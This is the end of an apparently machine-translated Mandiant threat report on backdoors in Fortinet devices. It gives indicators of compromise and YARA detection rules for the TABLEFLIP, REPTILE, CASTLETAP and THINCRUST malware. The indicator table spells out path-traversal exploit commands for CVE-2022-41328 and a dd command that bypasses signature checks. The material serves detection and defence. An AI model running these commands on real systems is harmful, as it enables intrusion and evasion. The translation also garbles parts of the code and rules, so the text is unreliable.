Die in diesem Blogbeitrag besprochene Aktivität ist ein weiterer Beweis dafür, dass hochentwickelte Cyberspionage-Bedrohungsakteure jede verfügbare Technologie ausnutzen, um eine Zielumgebung zu überdauern und zu durchdringen, insbesondere solche Technologien, die keine EDR-Lösungen unterstützen. Dies stellt für Ermittler eine besondere Herausforderung dar, da es bei vielen Netzwerkgeräten an Lösungen zur Erkennung von Laufzeitänderungen am zugrunde liegenden Betriebssystem mangelt und eine direkte Einbeziehung des Herstellers zur Erfassung forensischer Bilder erforderlich ist. Organisationsübergreifende Kommunikation und Zusammenarbeit sind von entscheidender Bedeutung, um sowohl Hersteller frühzeitig über neue Angriffsmethoden in freier Wildbahn zu informieren, bevor sie veröffentlicht werden, als auch Ermittler mit Fachwissen zu versorgen, um diese neuen Angriffe besser aufzuklären.

Mandiant empfiehlt Organisationen, die ESXi und die VMware-Infrastruktursuite verwenden, die in diesem Blogbeitrag beschriebenen Härtungsschritte zu befolgen, um die Angriffsfläche von ESXi-Hosts zu minimieren.

Besonderer Dank geht an Jeremy Koppen, Kirstie Failey, Bryce Bucklin, Jay Smith, Nicholas Luedtke, Ronnie Salomonsen, Nino Isakovic, Charles Carmakal und Fortinet PSIRT für ihre Unterstützung bei der Untersuchung, technischen Überprüfung und Erstellung von Erkennungen für die hier besprochenen Malware-Familien Blogeintrag. Darüber hinaus möchten wir Fortinet und VMware für ihre Zusammenarbeit bei dieser Forschung danken.

Fortinet hat zwei zusätzliche Ressourcen zu CVE-2022-41328 und eine Analyse der identifizierten Angreiferaktivitäten veröffentlicht.

Auswirkungen

Verteidigungsumgehung

Zugang zu Anmeldeinformationen

Entdeckung

Sammlung

Ausführung

Steuerung und Kontrolle

Seitliche Bewegung

Typ

Werte

Beschreibung

FortiGate-Befehl

Führen Sie den Wireless-Controller hs20-icon upload-icon ftp ../../../../../../bin/lspci aus

Die versuchte Ausführung dieses Befehls oder ähnlicher Befehle mit Verzeichnisdurchquerung weist auf eine versuchte Ausnutzung von CVE-2022-41328 hin, um eine Datei in ein normalerweise eingeschränktes Verzeichnis hochzuladen

FortiGate-Befehl

Führen Sie den Wireless-Controller hs20-icon upload-icon tftp ../../../../../../bin/lspci aus

Die versuchte Ausführung dieses Befehls oder ähnlicher Befehle mit Verzeichnisdurchquerung weist auf eine versuchte Ausnutzung von CVE-2022-41328 hin, um eine Datei in ein normalerweise eingeschränktes Verzeichnis hochzuladen

Dateiname

/bin/fgfm

CASTLETAP-Probe auf einem FortiGate-Gerät gefunden

Symlinkierte Datei

/bin/lspci->/bin/sysctl

lspci sollte eine eigenständige Binärdatei innerhalb von FortiGate-Geräten sein. Ein symbolischer Link deutet darauf hin, dass eine Änderung am Dateisystem vorgenommen wurde

URI

/p/util/show_device_info

Ein vom Bedrohungsakteur erstellter API-Aufruf, der als dauerhafte Hintertür auf FortiManager-Geräten fungierte

URI

/p/utils/fortigate_syslog_send

Ein vom Bedrohungsakteur erstellter API-Aufruf, der als dauerhafte Hintertür auf FortiAnalyzer-Geräten fungierte

Python-Funktion

get_device_info

Eine bösartige Python-Funktion, die zu /usr/local/lib/python3.8/proj/util/views.py auf FortiAnalyzer- und FortiManager-Geräten hinzugefügt wurde und Bedrohungsakteuren eine dauerhafte Hintertür bot

Dateiname

/bin/support

Bedrohungsakteur-Skript, das /bin/auth (TABLEFLIP) und /bin/klogd (REPTILE) startet und die beiden Dateien zusammen mit /bin/support von der Festplatte löscht

Dateiname

/bin/auth

TABLEFLIP-Beispiel – Ein passives Dienstprogramm zum Einrichten der Datenverkehrsumleitung von einer bestimmten IP-Adresse, die für den FortiManager auf TCP541 bestimmt ist, zu einem anderen angegebenen Port.

Dateiname

/bin/klogd

REPTILE – Ein Backdoor-Dienstprogramm, das auf ein spezielles Paket zur Aktivierung wartet

Konfigurationsänderung

printf „t“ | dd of=/bin/smit bs=1 count=1 conv=notrunc see=22866 2>/dev/null

Konfigurationsänderung an /etc/init.d/localnet auf FortiAnalyzer- und FortiManager-Geräten, um eine Binärdatei wiederherzustellen, nachdem sie geändert wurde, um die Überprüfung der digitalen Signatur von Systemdateien zu umgehen

MD5

9ce2459168cf4b5af494776a70e0feda

Bedrohungsakteur-Skript, das /bin/auth (TABLEFLIP) und /bin/klogd (REPTILE) startet und die beiden Dateien zusammen mit /bin/support von der Festplatte löscht

MD5

b6e92149efaf78e9ce7552297505b9d5

TABLEFLIP-Beispiel

MD5

53a69adac914808eced2bf8155a7512d

Beispiel einer REPTILE-Variante

MD5

a388ebaef45add5da503e4bf2b9da546

Geändert /bin/smit

MD5

88711ebc99e1390f1ce2f42a6de0654d

Localnet-Beispiel

MD5

e2d2884869f48f40b32fb27cc3bdefff

CASTLETAP-Probe

MD5

53a69adac914808eced2bf8155a7512d

Beispiel einer REPTILE-Variante

MD5

64bdf7a631bc76b01b985f1d46b35ea6

THINCRUST-Probe

MD5

a86a8fe875a89816e5808588154a067e

THINCRUST-Probe

MD5

3e43511c4f7f551290292394c4e21de7

Bezogen auf THINCRUST

SHA1

75c092098e3409d366a46fdde6a92ff97d29cee1

Smit-Probe

SHA1

9dca7f1af5752bb007e5cc55acd2511f03049ee5

TABLEFLIP-Beispiel

SHA1

8c40fc87fa3b25a559585b10a8ca11c81fb09f75

CASTLETAP-Probe

SHA1

3109b890901499f7ebb90f8870a7d1617d27e7c9

Beispiel einer REPTILE-Variante

SHA1

b8bdaa1bd204a6c710875b0c4265655d1fd37d52

/bin/support-Beispiel

SHA1

1a077212735617a665a6b631e34a6aedcbc41713

THINCRUST-Probe

SHA1

d5f8436e9815358e33b8243abda76c9b398943e2

THINCRUST-Probe

SHA1

8ef5159944d048fe84e51a818c9b11ebcfa98517

Bezogen auf THINCRUST

SHA256

245e4646e5d984c2da4cfe223bb2fae679441bcf42b254fc193ae97dc32af7ad

Localnet-Beispiel

SHA256

9fb09fe6db61fbdd19ac9c368e2f64fb9606119649830762fa467719c480ed44

Smit-Probe

SHA256

18afbad17dee0e4330a85b782e8e580c6125d8a7127cda69ad0e2728d505a6f5

TABLEFLIP-Beispiel

SHA256

a00fed53b1ece4610c8b52934c20af3667d455f092a77f8d9bc46fdb9047e41a

CASTLETAP-Probe

SHA256

eb6af99148f0ce5b58e414162ff2b7567b4cf08953862a088996365ff306014b

Beispiel einer REPTILE-Variante

SHA256

33c22b2db8c0948c67204485972d2eb856e13dca16132371337fc3534e3df16d

/bin/support-Beispiel

SHA256

abefe121e5c895bf63be80152ccbe2d7bb5ad985aa3ab989bcb7c0804b90d004

THINCRUST-Probe

SHA256

2266667af7532a32b9c21c330a9fe56356ca66610e39654804a7262f2af61017

THINCRUST-Probe

SHA256

4e4c5e5ca588bd84b67a37b654ec522768fa83e535ff795a5c196da8f8b9737d

Bezogen auf THINCRUST

Regel M_Hunting_Util_TABLEFLIP_1

{

Meta:

Autor = „Mandiant“

description = „Sucht nach TABLEFLIP-Binärdatei“

md5="b6e92149efaf78e9ce7552297505b9d5"

Saiten:

$z1 = „%1$s.*%2$d“ vollständiges Wort

$x1 = „/proc/self/exe“ Vollwort

$x2 = „Socket“-Vollwort

$x3 = „127.“ Vollwort

$x4 = „iptables -t nat“ Vollwort

$s1 = "iptables -t nat -S PREROUTING | grep %1$s | grep %2$d || iptables -t nat -A PREROUTING -p tcp -s %1$s --dport 541 -j REDIRECT -- zum Port %2$d"

$s2 = "iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '%1$s.*%2$d' | awk -F: '{print $1}'| xargs iptables - t nat -D PREROUTING"

Zustand:

uint32(0) == 0x464c457f und Dateigröße < 5 MB und @x1 <= @x2 und @x2 <= @x3 und @x3 <= @x4 und ( $z1 oder einer von ($s*) )

}

Regel M_Hunting_Backdoor_REPTILE_1

{

Meta:

Autor = „Mandiant“

description = „Sucht nach ELF-Backdoor-REPTILE-Variante“

md5="53a69adac914808eced2bf8155a7512d"

Saiten:

$x1 = ";7(Zu9YTsA7qQ#vw"

$x2 = "mznCvqSBo"

$x3 = „hpaVAj2FJ“

$x4 = „%d.%d.%d.%d“

$x5 = "HISTFILE="

$x6 = „TERM“

$x7 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } // entnommen aus FE_Hunting_Linux_TINYSHELL_2_FEBeta.yara

Zustand:

uint32(0) == 0x464c457f und alle davon und #x4 >= 3 und #x6 == 1 und Dateigröße < 15 MB

}

Regel M_Hunting_Backdoor_CASTLETAP_1

{

Meta:

Autor = „Mandiant“

description = „Findet Zeichenfolgen, die in der CASTLETOP ELF-Binärdatei beobachtet wurden“

md5="e2d2884869f48f40b32fb27cc3bdefff"

Saiten:

$x1 = ";7(Zu9YTsA7qQ#vw"

$x2 = „qWWlC0v6yYh2yxu“

$x3 = „1qaz@WSXa“

$x4 = „hpaVAj2FJ“

$x5 = „%d.%d.%d.%d“

$x6 = "HISTFILE="

$x7 = „TERM“

$x8 = "/tmp/busybox"

$x9 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D }

Zustand:

uint16(18) == 183 und

uint16(16) == 0x02 und

uint32(0) == 0x464c457f und 1 von ($x*) und #x5 >= 3 und #x7 == 1 und Dateigröße < 15 MB

}

Regel M_Hunting_Backdoor_CASTLETAP_2

{

Meta:

Autor = „Mandiant“

description = „Findet Bytemuster im Zusammenhang mit der XOR-Dekodierungsfunktion“

md5="e2d2884869f48f40b32fb27cc3bdefff"

Saiten:

$x1 = { ?? 14 40 B9 ?? B0 1D 11 ?? 10 40 B9 [5] 0C 40 B9 [5] 1F 80 52 [9] 1F 00 12 }

Zustand:

uint16(18) == 183 und

uint16(16) == 0x02 und

uint32(0) == 0x464c457f und alle davon und Dateigröße < 15 MB

}

Link zum RSS-Feed

Mandiant-Experten beantworten gerne Ihre Fragen.